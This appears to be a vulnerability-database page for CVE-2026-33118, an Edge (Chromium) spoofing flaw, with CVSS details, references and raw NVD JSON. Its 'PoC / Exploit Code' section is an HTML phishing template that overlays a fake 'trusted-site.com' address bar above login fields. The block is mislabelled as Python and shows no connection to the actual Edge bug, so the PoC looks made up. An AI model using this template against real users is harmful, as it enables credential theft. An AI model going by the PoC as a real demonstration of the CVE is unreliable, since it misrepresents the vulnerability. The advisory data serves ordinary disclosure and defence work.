CVE-2026-33118

Description

Microsoft Edge (Chromium-based) Spoofing Vulnerability

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:* - VULNERABLE

Microsoft Edge (Chromium-based) < 2026年4月安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for UI Spoofing -->
<html>
<head><title>Login</title></head>
<body>
<!-- Fake address bar overlay -->
<div style="position:fixed; top:0; left:0; width:100%; height:40px; background:#f1f3f4; z-index:9999; text-align:center; padding-top:10px; font-family:sans-serif; border-bottom:1px solid #ccc;">
  https://trusted-site.com/login
</div>
<!-- Actual content -->
<div style="margin-top:50px; text-align:center;">
  <h2>Please Login</h2>
  <input type="text" placeholder="Username"><br><br>
  <input type="password" placeholder="Password">
</div>
<script>
  console.log("Spoofing simulation active.");
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33118
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33118
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33118/
[4] VulDB https://vuldb.com/cve/CVE-2026-33118
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33118", "sourceIdentifier": "[email protected]", "published": "2026-04-10T22:16:21.123", "lastModified": "2026-04-16T16:34:07.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft Edge (Chromium-based) Spoofing Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.3912.60", "matchCriteriaId": "877FEF91-CC50-43F6-A8B1-56F0972B3E82"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}